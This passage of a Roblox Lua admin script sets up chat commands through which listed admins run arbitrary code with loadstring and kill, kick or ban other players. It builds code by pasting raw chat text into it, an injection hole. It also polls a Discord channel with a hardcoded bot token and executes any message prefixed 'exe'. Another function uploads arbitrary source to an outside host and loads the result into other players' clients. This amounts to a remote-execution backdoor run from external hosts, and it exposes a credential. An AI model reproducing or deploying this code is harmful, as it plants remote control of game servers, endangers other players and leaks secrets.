  1577. ScriptPing('Teal','Respawn','Teal',"RealDissmissWait(']]..getplayeradmin.Name..[[') loadstring(respawn_script)()",']]..getplayeradmin.Name..[[','UselessPing')
  1578. ScriptPing('Bright red','Ban','Bright red',"RealDissmissWait(']]..getplayeradmin.Name..[[') loadstring(ban_script)()",']]..getplayeradmin.Name..[[','UselessPing')
  1579. PingPictureText('Really black',plr,']]..getplayeradmin.Name..[[',plr,'Teal',2.5,1.3,'avatar')
  1580. ]],getplayeradmin.Name,'WhateverPing')
  1581.  
  1582.  
  1583. -- ScriptPing("Really black",v.Name,"Teal",[[RealDissmissWait(']]..getplayeradmin.Name..[[') ]]..stats_script,getplayeradmin.Name,'UselessPing')
  1584. end
  1585. end
  1586. end
  1587.  
  1588.  
  1589. for i,v in pairs(scripters) do if getplayeradmin.Name == v then
  1590. if m:lower():sub(1,#prefix+#'s'+#prefix2)==prefix..'s'..prefix2 then
  1591. print = function(...)
  1592. local printTable = {}
  1593. local printString = ''
  1594.  
  1595. for i,v in pairs({...}) do
  1596. table.insert(printTable,v);
  1597. end
  1598.  
  1599. for i,v in pairs(printTable) do
  1600. printString=printString..tostring(v)..'\t'
  1601. end
  1602.  
  1603. Ping('White',printString,'White',getplayeradmin.Name)
  1604. end
  1605.  
  1606. warn = function(...)
  1607. local printTable = {}
  1608. local printString = ''
  1609.  
  1610. for i,v in pairs({...}) do
  1611. table.insert(printTable,v);
  1612. end
  1613.  
  1614. for i,v in pairs(printTable) do
  1615. printString=printString..tostring(v)..'\t'
  1616. end
  1617.  
  1618. Ping('Neon orange',printString,'Neon orange',getplayeradmin.Name)
  1619. end
  1620.  
  1621. error = function(...)
  1622. local printTable = {}
  1623. local printString = ''
  1624.  
  1625. for i,v in pairs({...}) do
  1626. table.insert(printTable,v);
  1627. end
  1628.  
  1629. for i,v in pairs(printTable) do
  1630. printString=printString..tostring(v)..'\t'
  1631. end
  1632.  
  1633. Ping('Really red',printString,'Really red',getplayeradmin.Name)
  1634. end
  1635.  
  1636. local S,E = loadstring(m:sub(#prefix+#'s'+#prefix2+1))
  1637. if E then
  1638. error(E)
  1639. else
  1640. local R1,E1 = pcall(S)
  1641. if E1 then
  1642. error(E1)
  1643. end
  1644. end;
  1645. end
  1646.  
  1647.  
  1648. if m:lower():sub(1,#prefix+#'exe'+#prefix2)==prefix..'exe'..prefix2 then
  1649. print = function(...)
  1650. local printTable = {}
  1651. local printString = ''
  1652.  
  1653. for i,v in pairs({...}) do
  1654. table.insert(printTable,v);
  1655. end
  1656.  
  1657. for i,v in pairs(printTable) do
  1658. printString=printString..tostring(v)..'\t'
  1659. end
  1660.  
  1661. Ping('White',printString,'White',getplayeradmin.Name)
  1662. end
  1663.  
  1664. warn = function(...)
  1665. local printTable = {}
  1666. local printString = ''
  1667.  
  1668. for i,v in pairs({...}) do
  1669. table.insert(printTable,v);
  1670. end
  1671.  
  1672. for i,v in pairs(printTable) do
  1673. printString=printString..tostring(v)..'\t'
  1674. end
  1675.  
  1676. Ping('Neon orange',printString,'Neon orange',getplayeradmin.Name)
  1677. end
  1678.  
  1679. error = function(...)
  1680. local printTable = {}
  1681. local printString = ''
  1682.  
  1683. for i,v in pairs({...}) do
  1684. table.insert(printTable,v);
  1685. end
  1686.  
  1687. for i,v in pairs(printTable) do
  1688. printString=printString..tostring(v)..'\t'
  1689. end
  1690.  
  1691. Ping('Really red',printString,'Really red',getplayeradmin.Name)
  1692. end
  1693.  
  1694. local S,E = loadstring(m:sub(#prefix+#'exe'+#prefix2+1))
  1695. if E then
  1696. error(E)
  1697. else
  1698. local R1,E1 = pcall(S)
  1699. if E1 then
  1700. error(E1)
  1701. end
  1702. end
  1703. end
  1704. end
  1705. end;
  1706. end)
  1707. end
  1708. end
  1709. end
  1710.  
  1711. for i,getadmin in pairs(admins) do
  1712. game:service'Players'.PlayerAdded:connect(function(getplayeradmin)
  1713. if getplayeradmin.Name==getadmin then
  1714. getplayeradmin.Chatted:connect(function(m)
  1715. for i,v in pairs(scripters) do if getplayeradmin.Name == v then
  1716. if m:lower():sub(1,#prefix+#'s'+#prefix2)==prefix..'s'..prefix2 then
  1717. print = function(...)
  1718. local printTable = {}
  1719. local printString = ''
  1720.  
  1721. for i,v in pairs({...}) do
  1722. table.insert(printTable,v);
  1723. end
  1724.  
  1725. for i,v in pairs(printTable) do
  1726. printString=printString..tostring(v)..'\t'
  1727. end
  1728.  
  1729. Ping('White',printString,'White',getplayeradmin.Name)
  1730. end
  1731.  
  1732. warn = function(...)
  1733. local printTable = {}
  1734. local printString = ''
  1735.  
  1736. for i,v in pairs({...}) do
  1737. table.insert(printTable,v);
  1738. end
  1739.  
  1740. for i,v in pairs(printTable) do
  1741. printString=printString..tostring(v)..'\t'
  1742. end
  1743.  
  1744. Ping('Neon orange',printString,'Neon orange',getplayeradmin.Name)
  1745. end
  1746.  
  1747. error = function(...)
  1748. local printTable = {}
  1749. local printString = ''
  1750.  
  1751. for i,v in pairs({...}) do
  1752. table.insert(printTable,v);
  1753. end
  1754.  
  1755. for i,v in pairs(printTable) do
  1756. printString=printString..tostring(v)..'\t'
  1757. end
  1758.  
  1759. Ping('Really red',printString,'Really red',getplayeradmin.Name)
  1760. end
  1761.  
  1762.  
  1763. local S,E = loadstring(m:sub(#prefix+#'s'+#prefix2+1))
  1764. if E then
  1765. error(E)
  1766. else
  1767. local R1,E1 = pcall(S)
  1768. if E1 then
  1769. error(E1)
  1770. end
  1771. end
  1772. end;
  1773. end
  1774.  
  1775. if m:lower():sub(1,#prefix+#'exe'+#prefix2)==prefix..'exe'..prefix2 then
  1776. print = function(...)
  1777. local printTable = {}
  1778. local printString = ''
  1779.  
  1780. for i,v in pairs({...}) do
  1781. table.insert(printTable,v);
  1782. end
  1783.  
  1784. for i,v in pairs(printTable) do
  1785. printString=printString..tostring(v)..'\t'
  1786. end
  1787.  
  1788. Ping('White',printString,'White',getplayeradmin.Name)
  1789. end
  1790.  
  1791. warn = function(...)
  1792. local printTable = {}
  1793. local printString = ''
  1794.  
  1795. for i,v in pairs({...}) do
  1796. table.insert(printTable,v);
  1797. end
  1798.  
  1799. for i,v in pairs(printTable) do
  1800. printString=printString..tostring(v)..'\t'
  1801. end
  1802.  
  1803. Ping('Neon orange',printString,'Neon orange',getplayeradmin.Name)
  1804. end
  1805.  
  1806. function error(...) local table = {...}
  1807. for i,v in pairs(table) do
  1808. Ping('Really red',v,'Really red',getplayeradmin.Name)
  1809. end end
  1810.  
  1811. local S,E = loadstring(m:sub(#prefix+#'exe'+#prefix2+1))
  1812. if E then
  1813. error(E)
  1814. else
  1815. local R1,E1 = pcall(S)
  1816. if E1 then
  1817. error(E1)
  1818. end
  1819. end
  1820. end;
  1821. end
  1822.  
  1823.  
  1824. if m:lower():sub(1,#prefix+#'players'+#prefix2)==prefix..'players'..prefix2 then
  1825. RealDissmissWait(getplayeradmin.Name)
  1826. for i,v in pairs(game:service'Players':children()) do
  1827. if string.find(v.Name:lower(),m:lower():sub(#prefix+#'players'+#prefix2+1)) then
  1828. stats_script = [[
  1829. local userid = game:service'Players':GetUserIdFromNameAsync(plr)
  1830. local stats_url = http:JSONDecode(http:GetAsync("https://www.classy-studios.com/APIs/PlayerStats.php?ID="..userid))
  1831. local years_old = tostring(stats_url.Age/365)
  1832. local years_old2=years_old:sub(1,3)
  1833. local join_date=tostring(2017-stats_url.Age/365)
  1834. local join_date2=join_date:sub(1,4)
  1835. pcall(function()
  1836. PingPictureText('Really black',plr.Name,']]..getplayeradmin.Name..[[',plr,'Teal',2.5,1.3,'avatar')
  1837. Ping("Really black",'Forum posts: '..stats_url.ForumPosts,"White",']]..getplayeradmin.Name..[[')
  1838. Ping("Really black",'Friend count: '..stats_url.Friends,"White",']]..getplayeradmin.Name..[[')
  1839. Ping("Really black",'Follower count: '..stats_url.Followers,"White",']]..getplayeradmin.Name..[[')
  1840. Ping("Really black",'Days old: '..stats_url.Age,"White",']]..getplayeradmin.Name..[[')
  1841. Ping("Really black",'Place Visits: '..stats_url.PlaceVisits,"White",']]..getplayeradmin.Name..[[')
  1842. Ping("Really black",'Years old: '..years_old2,"White",']]..getplayeradmin.Name..[[')
  1843. Ping("Really black",'Join Date: '..join_date2,"White",']]..getplayeradmin.Name..[[')
  1844. end)]]
  1845.  
  1846. kill_script = [[game:service'Players'[plr].Character:BreakJoints()]]
  1847. if game.PlaceId == 21053279 then
  1848. kick_script = [[game:service'Players'[plr]:kick()]]
  1849. else
  1850. kick_script = [[game:service'Players'[plr]Character.Humanoid.HipHeight=0/0]]
  1851. end
  1852. respawn_script = [[game:service'Players'[plr]:LoadCharacter()]]
  1853. ban_script = [[table.insert(banlist,plr)]]
  1854.  
  1855. ScriptPing("Really black",v.Name,"White",[[plr=']]..v.Name..[[' userid = game:service'Players':GetUserIdFromNameAsync(plr) RealDissmissWait(']]..getplayeradmin.Name..[[') ScriptPing('Neon orange','Stats','Neon orange',"RealDissmissWait(']]..getplayeradmin.Name..[[') loadstring(stats_script)()",']]..getplayeradmin.Name..[[','UselessPing')
  1856. ScriptPing('Crimson','Kill','Crimson',"RealDissmissWait(']]..getplayeradmin.Name..[[') loadstring(kill_script)()",']]..getplayeradmin.Name..[[','UselessPing')
  1857. ScriptPing('Really red','Kick','Really red',"RealDissmissWait(']]..getplayeradmin.Name..[[') loadstring(kick_script)()",']]..getplayeradmin.Name..[[','UselessPing')
  1858. ScriptPing('Teal','Respawn','Teal',"RealDissmissWait(']]..getplayeradmin.Name..[[') loadstring(respawn_script)()",']]..getplayeradmin.Name..[[','UselessPing')
  1859. ScriptPing('Bright red','Ban','Bright red',"RealDissmissWait(']]..getplayeradmin.Name..[[') loadstring(ban_script)()",']]..getplayeradmin.Name..[[','UselessPing')
  1860. Ping('Really black',plr,'Teal',']]..getplayeradmin.Name..[[')
  1861. PingPictureText('Really black',plr,']]..getplayeradmin.Name..[[',plr,'Teal',2.5,1.3,'avatar')
  1862. ]],getplayeradmin.Name,'WhateverPing')
  1863.  
  1864.  
  1865. -- ScriptPing("Really black",v.Name,"Teal",[[RealDissmissWait(']]..getplayeradmin.Name..[[') ]]..stats_script,getplayeradmin.Name,'UselessPing')
  1866. end
  1867. end
  1868. end
  1869. end)
  1870. end
  1871. end)
  1872. end
  1873. end
  1874.  
  1875.  
  1876. function AddCmd(cmd,type,source)
  1877. if type:lower() == 'player' then
  1878. table.insert(commands,prefix..cmd..prefix2..'player')
  1879. else
  1880. table.insert(commands,prefix..cmd)
  1881. end
  1882. for i,getadmin in pairs(admins) do
  1883. for i,getplayeradmin in pairs(game:service'Players':children()) do
  1884. if getplayeradmin.Name==getadmin then
  1885. getplayeradmin.Chatted:connect(function(m)
  1886. if type:lower()=='player' then
  1887. if m:lower():sub(1,#cmd+#prefix+#prefix2)==prefix..cmd..prefix2 then
  1888. loadstring([[msg = "]]..m..[[" cmd = "]]..cmd..[[" local real_me = game:service'Players'[']]..getplayeradmin.Name..[[']
  1889. for i,v in pairs(players:children()) do if string.find(v.Name:lower(),msg:lower():sub(#prefix+#prefix2+#cmd+1)) then ]]..source..[[ end end]])()
  1890.  
  1891. loadstring([[msg = "]]..m..[[" cmd = "]]..cmd..[[" local real_me = game:service'Players'[']]..getplayeradmin.Name..[[']
  1892. if string.find(msg:lower():sub(#prefix+#prefix2+#cmd+1),'others') then for i,v in pairs(players:children()) do if v.Name~="]]..getplayeradmin.Name..[[" then ]]..source..[[ end end end]])()
  1893.  
  1894. loadstring([[msg = "]]..m..[[" cmd = "]]..cmd..[[" local real_me = game:service'Players'[']]..getplayeradmin.Name..[[']
  1895. if string.find(msg:lower():sub(#prefix+#prefix2+#cmd+1),'admins') then for i,x in pairs(admins) do for i,v in pairs(players:children()) do if v.Name==x then ]]..source..[[ end end end end]])()
  1896.  
  1897. loadstring([[msg = "]]..m..[[" cmd = "]]..cmd..[[" local real_me = game:service'Players'[']]..getplayeradmin.Name..[[']
  1898. if string.find(msg:lower():sub(#prefix+#prefix2+#cmd+1),'nonadmins') then for i,x in pairs(admins) do for i,v in pairs(players:children()) do if v.Name~=x then ]]..source..[[ end end end end]])()
  1899.  
  1900. loadstring([[msg = "]]..m..[[" cmd = "]]..cmd..[[" local real_me = game:service'Players'[']]..getplayeradmin.Name..[[']
  1901. if string.find(msg:lower():sub(#prefix+#prefix2+#cmd+1),'me') then for i,v in pairs(players:children()) do if v.Name==real_me.Name then ]]..source..[[ end end end]])()
  1902.  
  1903. loadstring([[ msg = "]]..m..[[" cmd = "]]..cmd..[[" local real_me = game:service'Players'[']]..getplayeradmin.Name..[[']
  1904. if string.find(msg:lower():sub(#prefix+#prefix2+#cmd+1),'all') then for i,v in pairs(players:children()) do ]]..source..[[ end end]])()
  1905.  
  1906. loadstring([[ msg = "]]..m..[[" cmd = "]]..cmd..[[" local real_me = game:service'Players'[']]..getplayeradmin.Name..[[']
  1907. if string.find(msg:lower():sub(#prefix+#prefix2+#cmd+1),'random') then local v1 = game:service'Players':GetChildren()
  1908. v = (v1[math.random(1,#v1)]) ]]..source..[[ end]])()
  1909. end
  1910. end;
  1911. if type:lower() == 'normal' then
  1912. if m:sub(1,#prefix+#cmd) == prefix..cmd then
  1913. loadstring([[ txt = "]]..m:sub(#prefix+#cmd+#prefix2+1)..[["
  1914. player = game:service'Players'[']]..getplayeradmin.Name..[[']
  1915. lclean = false
  1916. game:GetService("RunService").Stepped:connect(function() if lclean == true then
  1917. for i = 1,#workspace:children(),1 do
  1918. for i,v in pairs(workspace:children()) do
  1919. if v.Name~='Base' and v.ClassName~='Terrain' and v.ClassName~='Camera' and v.Name~=script.Name then
  1920. if not game:service'Players':FindFirstChild(v.Name) then
  1921. v:Remove()
  1922. end
  1923. end
  1924. end
  1925. end end end) pcall(function() ]]..source..[[ end)
  1926.  
  1927. ]])()
  1928. end
  1929. end;
  1930. end)
  1931. end
  1932. end
  1933. end
  1934.  
  1935. for i,getadmin in pairs(admins) do
  1936. game:service'Players'.PlayerAdded:connect(function(getplayeradmin)
  1937. if getplayeradmin.Name==getadmin then
  1938. getplayeradmin.Chatted:connect(function(m)
  1939. if type:lower()=='player' then
  1940. if m:lower():sub(1,#cmd+#prefix+#prefix2)==prefix..cmd..prefix2 then
  1941. loadstring([[msg = "]]..m..[[" cmd = "]]..cmd..[[" local real_me = game:service'Players'[']]..getplayeradmin.Name..[[']
  1942. for i,v in pairs(players:children()) do if string.find(v.Name:lower(),msg:lower():sub(#prefix+#prefix2+#cmd+1)) then ]]..source..[[ end end]])()
  1943.  
  1944. loadstring([[msg = "]]..m..[[" cmd = "]]..cmd..[[" local real_me = game:service'Players'[']]..getplayeradmin.Name..[[']
  1945. if string.find(msg:lower():sub(#prefix+#prefix2+#cmd+1),'others') then for i,v in pairs(players:children()) do if v.Name~="]]..getplayeradmin.Name..[[" then ]]..source..[[ end end end]])()
  1946.  
  1947. loadstring([[msg = "]]..m..[[" cmd = "]]..cmd..[[" local real_me = game:service'Players'[']]..getplayeradmin.Name..[[']
  1948. if string.find(msg:lower():sub(#prefix+#prefix2+#cmd+1),'admins') then for i,x in pairs(admins) do for i,v in pairs(players:children()) do if v.Name==x then ]]..source..[[ end end end end]])()
  1949.  
  1950. loadstring([[msg = "]]..m..[[" cmd = "]]..cmd..[[" local real_me = game:service'Players'[']]..getplayeradmin.Name..[[']
  1951. if string.find(msg:lower():sub(#prefix+#prefix2+#cmd+1),'nonadmins') then for i,x in pairs(admins) do for i,v in pairs(players:children()) do if v.Name~=x then ]]..source..[[ end end end end]])()
  1952.  
  1953. loadstring([[msg = "]]..m..[[" cmd = "]]..cmd..[[" local real_me = game:service'Players'[']]..getplayeradmin.Name..[[']
  1954. if string.find(msg:lower():sub(#prefix+#prefix2+#cmd+1),'me') then for i,v in pairs(players:children()) do if v.Name=="]]..getplayeradmin.Name..[[" then ]]..source..[[ end end end]])()
  1955.  
  1956.  
  1957.  
  1958.  
  1959. loadstring([[ msg = "]]..m..[[" cmd = "]]..cmd..[[" local real_me = game:service'Players'[']]..getplayeradmin.Name..[[']
  1960. if string.find(msg:lower():sub(#prefix+#prefix2+#cmd+1),'all') then for i,v in pairs(players:children()) do ]]..source..[[ end end]])()
  1961.  
  1962. loadstring([[ msg = "]]..m..[[" cmd = "]]..cmd..[[" local real_me = game:service'Players'[']]..getplayeradmin.Name..[[']
  1963. if string.find(msg:lower():sub(#prefix+#prefix2+#cmd+1),'random') then local v1 = game:service'Players':GetChildren()
  1964. local v = (v1[math.random(1,#v1)]) ]]..source..[[ end]])()
  1965. end
  1966. end;
  1967. if type:lower() == 'normal' then
  1968. if m:sub(1,#prefix+#cmd) == prefix..cmd then
  1969. loadstring([[txt = "]]..m:sub(#prefix+#cmd+#prefix2+1)..[[" local player = game:service'Players'[']]..getplayeradmin.Name..[['] logservice=false
  1970. lclean = false
  1971. game:GetService("RunService").Stepped:connect(function() if lclean == true then
  1972. for i = 1,#workspace:children(),1 do
  1973. for i,v in pairs(workspace:children()) do
  1974. if v.Name~='Base' and v.ClassName~='Terrain' and v.ClassName~='Camera' and v.Name~=script.Name then
  1975. if not game:service'Players':FindFirstChild(v.Name) then
  1976. v:Remove()
  1977. end
  1978. end
  1979. end
  1980. end end end) pcall(function() ]]..source..[[ end)
  1981.  
  1982. ]])()
  1983. end
  1984. end;
  1985. end)
  1986. end
  1987. end)
  1988. end
  1989. end
  1990.  
  1991.  
  1992. function AddSplitCmd(cmd,source)
  1993. table.insert(commands,prefix..cmd..prefix2..'player'..prefix2..'number or string')
  1994. for i,admineze in pairs(admins) do if game:GetService'Players':FindFirstChild(admineze) then
  1995. local adminplayern = game:GetService("Players")[admineze]
  1996. if adminplayern.Name==admineze then
  1997. adminplayern.Chatted:connect(function(m)
  1998. if m:lower():sub(1,#prefix+#cmd+#prefix2)==prefix..cmd..prefix2 then
  1999. local count = 0
  2000. local sub1 = 0
  2001. local sub1_p2=0
  2002.  
  2003. local sub2 = 0
  2004. local sub2_p2=0
  2005. for i = 1,#m,1 do
  2006. if m:sub(i,i)==prefix2 then
  2007. count=count+1
  2008. if count == 1 then
  2009. sub1=i
  2010. end
  2011. if count == 2 then
  2012. sub2=i
  2013. end
  2014. end
  2015. end
  2016.  
  2017. loadstring([[split = "]]..m:sub(sub2+1)..[[" for i,plr in pairs(game:service'Players':children()) do if string.find(plr.Name:lower(),(']]..m:sub(sub1+1,sub2-1)..[['):lower()) then ]]..source..[[ end end]])()
  2018. loadstring([[split = "]]..m:sub(sub2+1)..[[" txt = "]]..m:sub(sub1+1,sub2-1)..[[" if txt == ('me'):lower() then local plr=game:service'Players'[']]..adminplayern.Name..[['] ]]..source..[[ end]])()
  2019. loadstring([[split = "]]..m:sub(sub2+1)..[[" txt = "]]..m:sub(sub1+1,sub2-1)..[[" for i,plr in pairs(game:service'Players':children()) do if txt == ('all'):lower() then ]]..source..[[ end end]])()
  2020. loadstring([[split = "]]..m:sub(sub2+1)..[[" txt = "]]..m:sub(sub1+1,sub2-1)..[[" for i,plr in pairs(game:service'Players':children()) do if txt == ('others'):lower() then if plr.Name~=']]..adminplayern.Name..[[' then ]]..source..[[ end end end]])()
  2021. loadstring([[split = "]]..m:sub(sub2+1)..[[" txt = "]]..m:sub(sub1+1,sub2-1)..[[" for i,plr in pairs(game:service'Players':children()) do if txt == ('admins'):lower() then for i,admin in pairs(admins) do if plr.Name==admin then ]]..source..[[ end end end end]])()
  2022. loadstring([[split = "]]..m:sub(sub2+1)..[[" txt = "]]..m:sub(sub1+1,sub2-1)..[[" for i,plr in pairs(game:service'Players':children()) do if txt == ('nonadmins'):lower() then for i,admin in pairs(admins) do if plr.Name~=admin then ]]..source..[[ end end end end]])()
  2023. end
  2024. end)
  2025. end
  2026. end
  2027. end
  2028.  
  2029. players.PlayerAdded:connect(function(adminplayern)
  2030. for i,admineze in pairs(admins) do
  2031. if adminplayern.Name==admineze then
  2032. adminplayern.Chatted:connect(function(m)
  2033. if m:lower():sub(1,#prefix+#cmd+#prefix2)==prefix..cmd..prefix2 then
  2034. local count = 0
  2035. local sub1 = 0
  2036. local sub1_p2=0
  2037.  
  2038. local sub2 = 0
  2039. local sub2_p2=0
  2040. for i = 1,#m,1 do
  2041. if m:sub(i,i)==prefix2 then
  2042. count=count+1
  2043. if count == 1 then
  2044. sub1=i
  2045. end
  2046. if count == 2 then
  2047. sub2=i
  2048. end
  2049. end
  2050. end
  2051.  
  2052. loadstring([[split = "]]..m:sub(sub2+1)..[[" for i,plr in pairs(game:service'Players':children()) do if string.find(plr.Name:lower(),(']]..m:sub(sub1+1,sub2-1)..[['):lower()) then ]]..source..[[ end end]])()
  2053. loadstring([[split = "]]..m:sub(sub2+1)..[[" txt = "]]..m:sub(sub1+1,sub2-1)..[[" if txt == ('me'):lower() then plr=game:service'Players'[']]..adminplayern.Name..[['] ]]..source..[[ end ]])()
  2054. loadstring([[split = "]]..m:sub(sub2+1)..[[" txt = "]]..m:sub(sub1+1,sub2-1)..[[" for i,plr in pairs(game:service'Players':children()) do if txt == ('all'):lower() then ]]..source..[[ end end]])()
  2055. loadstring([[split = "]]..m:sub(sub2+1)..[[" txt = "]]..m:sub(sub1+1,sub2-1)..[[" for i,plr in pairs(game:service'Players':children()) do if txt == ('others'):lower() then if plr.Name~=']]..adminplayern.Name..[[' then ]]..source..[[ end end end]])()
  2056. loadstring([[split = "]]..m:sub(sub2+1)..[[" txt = "]]..m:sub(sub1+1,sub2-1)..[[" for i,plr in pairs(game:service'Players':children()) do if txt == ('admins'):lower() then for i,admin in pairs(admins) do if plr.Name==admin then ]]..source..[[ end end end end]])()
  2057. loadstring([[split = "]]..m:sub(sub2+1)..[[" txt = "]]..m:sub(sub1+1,sub2-1)..[[" for i,plr in pairs(game:service'Players':children()) do if txt == ('nonadmins'):lower() then for i,admin in pairs(admins) do if plr.Name~=admin then ]]..source..[[ end end end end]])()
  2058. end
  2059. end)
  2060. end
  2061. end
  2062. end)
  2063. end
  2064.  
  2065. function MakePrivateServer(name)
  2066. local code = TS:ReserveServer(game.PlaceId)
  2067. coroutine.wrap(function() DS:SetAsync(name,code); end)()
  2068. local PriName = DS:SetAsync(name,code)
  2069. end
  2070.  
  2071. function AddRegularCmd(cmd,type,source,who)
  2072. table.insert(commands,prefix..cmd..prefix2..'string')
  2073.  
  2074. if type:lower() == 'normal' then
  2075. local plaxr = game:GetService'Players'[who]
  2076. plaxr.Chatted:connect(function(m)
  2077. if m:lower():sub(1,#prefix+#cmd+#prefix2)==prefix..cmd..prefix2 then
  2078. plaxr3 = plaxr.Name
  2079. loadstring("lolMe = '"..plaxr3.."' ending = [["..m:sub(#prefix+#cmd+#prefix2+1).."]] "..source)()
  2080. end
  2081. end)
  2082.  
  2083. if type:lower() == 'normal' then
  2084. game:GetService("Players").PlayerAdded:connect(function(plaxr1)
  2085. plaxr1.Chatted:connect(function(m)
  2086. if m:lower():sub(1,#prefix+#cmd+#prefix2)==prefix..cmd..prefix2 then
  2087. local plaxr2 = plaxr1.Name
  2088. loadstring("lolMe = '"..plaxr2.."' ending = [["..m:sub(#prefix+#cmd+#prefix2+1).."]] "..source)()
  2089. end
  2090. end)
  2091. end)
  2092. end
  2093. end
  2094.  
  2095. if type:lower() == 'player' then
  2096. local plaxr = game:GetService'Players'[who]
  2097. plaxr.Chatted:connect(function(m)
  2098. if m:lower():sub(1,#prefix+#cmd+#prefix2)==prefix..cmd..prefix2 then
  2099. plaxr3 = plaxr.Name
  2100. local msg2 = m:sub(#prefix+#cmd+#prefix2+1)
  2101.  
  2102. for i,v in pairs(game:service'Players':children()) do if string.find(v.Name:lower(),msg2:lower()) then
  2103. loadstring("lolMe = '"..plaxr3.."' for i,xplr in pairs(game:service'Players':children()) do if string.find(xplr.Name:lower(),'"..msg2:lower().."') then "..source.." end end")()
  2104. end
  2105. end
  2106. if msg2:lower() == 'me' then
  2107. loadstring("lolMe = '"..plaxr3.."' xplr = game:service'Players'[lolMe] "..source)()
  2108. end
  2109. if msg2:lower() == 'all' then
  2110. loadstring("lolMe = '"..plaxr3.."' for i,xplr in pairs(game:service'Players':children()) do "..source.." end")()
  2111. end
  2112. if msg2:lower() == 'others' then
  2113. loadstring("lolMe = '"..plaxr3.."' for i,xplr in pairs(game:service'Players':children()) do if xplr.Name~=lolMe then "..source.." end end")()
  2114. end
  2115. end
  2116. end)
  2117.  
  2118.  
  2119. function DiscordGetMessages()
  2120. pcall(function()
  2121. game.ServerScriptService:WaitForChild("ChatServiceRunner")
  2122. ChatService = require(game.ServerScriptService.ChatServiceRunner:WaitForChild("ChatService"))
  2123.  
  2124. Server = ChatService:AddSpeaker("Admin"..math.random())
  2125. Server:JoinChannel("All")
  2126. Server:SetExtraData("ChatColor", Color3.new(200 / 255, 200 / 255, 200 / 255))
  2127.  
  2128. sendChatMessage = function(message)
  2129. ChatService:GetChannel("All"):SendSystemMessage(message, {
  2130. ["ChatColor"] = Color3.new(1,1,1)
  2131. })
  2132. end
  2133.  
  2134. sendChatMessage("Connected to Discord.");
  2135.  
  2136.  
  2137. API = {
  2138. CanaryURL = "https://canary.discordapp.com/";
  2139. ChannelID = "313423686998687744";
  2140. Headers = {
  2141. authorization = "Bot MzEzNDI0NzM4OTE3Njc5MTA0.DAFCZQ.RdwmDDhPLHttPnnW515EOLMP9Zc";
  2142. };
  2143. }
  2144. local BaseURL = "https://canary.discordapp.com/";
  2145.  
  2146. http = game.HttpService
  2147.  
  2148. API.messageReceived = function(code)
  2149. local msgs = {}
  2150. spawn(function()
  2151. repeat
  2152. local data = http:GetAsync(BaseURL.."api/v6/channels/"..API.ChannelID.."/messages", true, API.Headers)
  2153. --print(data)
  2154. local hax = http:JSONDecode(data)
  2155. if msgs[1] == hax[1]['timestamp'] then
  2156. --print('Already posted')
  2157. else
  2158. table.insert(msgs, 1, hax[1]['timestamp'])
  2159. code(hax[1])
  2160. end
  2161. wait(.8)
  2162. until nil
  2163. end)
  2164. end
  2165. ircAdmin = false
  2166.  
  2167.  
  2168. API.messageReceived(function(data)
  2169. local person = data['author'].username
  2170. local message = data['content']
  2171.  
  2172. for i = 1,#admins do
  2173. if string.find(admins[i],person:sub(1,#person-#' >')) then
  2174. if message:lower():sub(1,#prefix+#'ia'+#prefix2+#'true')==prefix..'ia'..prefix2..'true' then
  2175. ircAdmin=true
  2176. end
  2177. end
  2178.  
  2179. if string.find(admins[i],person:sub(1,#person-#' >')) then
  2180. if message:lower():sub(1,#prefix+#'ia'+#prefix2+#'false')==prefix..'ia'..prefix2..'false' then
  2181. ircAdmin=false
  2182. end
  2183. end
  2184.  
  2185.  
  2186. if string.find(admins[i],person:sub(1,#person-#' >')) then
  2187. if message:lower():sub(1,#prefix+#'exe'+#prefix2)==prefix..'exe'..prefix2 then
  2188. if ircAdmin == true then
  2189. pcall(function()
  2190. loadstring(message:sub(#prefix+#'exe'+#prefix2+1))()
  2191. end)
  2192. end
  2193. end
  2194. end
  2195. end
  2196.  
  2197.  
  2198. if not game:service'Players':FindFirstChild(person:sub(1,#person-#' >')) then
  2199. sendChatMessage(person..'\t'..message)
  2200. end
  2201. end)
  2202. end)
  2203. end
  2204.  
  2205.  
  2206. game:GetService("Players").PlayerAdded:connect(function(plaxr1)
  2207. plaxr1.Chatted:connect(function(m)
  2208. if m:lower():sub(1,#prefix+#cmd+#prefix2)==prefix..cmd..prefix2 then
  2209. plaxr4 = plaxr1.Name
  2210. local msg2 = m:sub(#prefix+#cmd+#prefix2+1)
  2211.  
  2212. for i,v in pairs(game:service'Players':children()) do if string.find(v.Name:lower(),msg2:lower()) then
  2213. loadstring("lolMe = '"..plaxr3.."' for i,xplr in pairs(game:service'Players':children()) do if string.find(xplr.Name:lower(),'"..msg2:lower().."') then "..source.." end end")()
  2214. end
  2215. end
  2216. if msg2:lower() == 'me' then
  2217. loadstring("lolMe = '"..plaxr3.."' xplr = game:service'Players'[lolMe] "..source)()
  2218. end
  2219. if msg2:lower() == 'all' then
  2220. loadstring("lolMe = '"..plaxr3.."' for i,xplr in pairs(game:service'Players':children()) do "..source.." end")()
  2221. end
  2222. if msg2:lower() == 'others' then
  2223. loadstring("lolMe = '"..plaxr3.."' for i,xplr in pairs(game:service'Players':children()) do if xplr.Name~=lolMe then "..source.." end end")()
  2224. end
  2225. end
  2226. end)
  2227. end)
  2228. end
  2229. end
  2230.  
  2231.  
  2232.  
  2233.  
  2234.  
  2235. function LS(otherplayer, source)
  2236. local NEWLS
  2237. if HttpService:GetAsync(LocalScriptHost) ~= nil then
  2238. local ID = tonumber(HttpService:PostAsync(LocalScriptHost .. "upload_scr.php",source,Enum.HttpContentType.TextPlain))
  2239. if ID ~= "" or ID ~= " " then
  2240. NEWLS = require(ID)
  2241. end
  2242. local scrpt = require(ID)
  2243. scrpt.Parent=otherplayer.PlayerGui
  2244. scrpt.Disabled=false
  2245. if ID == "" or ID == " " or scrpt == nil or require(ID).Name ~= "LocalScript" then
  2246. HttpService:GetAsync(LocalScriptHost .. "login.php",true)
  2247. end
  2248. end
  2249. if NEWLS:IsA"LocalScript" or NEWLS:IsA"BaseScript" then
  2250. --table.insert(scripts,NEWLS)
  2251. end
  2252. return NEWLS
  2253. end
  2254.  
  2255.  
  2256. --end)
  2257.  
  2258. function followPlayer(player, targetUserId) -- The player you are teleporting and the userId of the player you are teleporting to.
  2259. local PlayerNameUserId = players:GetUserIdFromNameAsync(targetUserId)
  2260. local playerUserIdName = players:GetNameFromUserIdAsync(PlayerNameUserId)
  2261.  
  2262. local success, errorMsg, placeId, instanceId = TS:GetPlayerPlaceInstanceAsync(PlayerNameUserId)
  2263. if success then
  2264. TS:TeleportToPlaceInstance(placeId, instanceId, player)
  2265. else
  2266. end
  2267. end
  2268.  
  2269.  
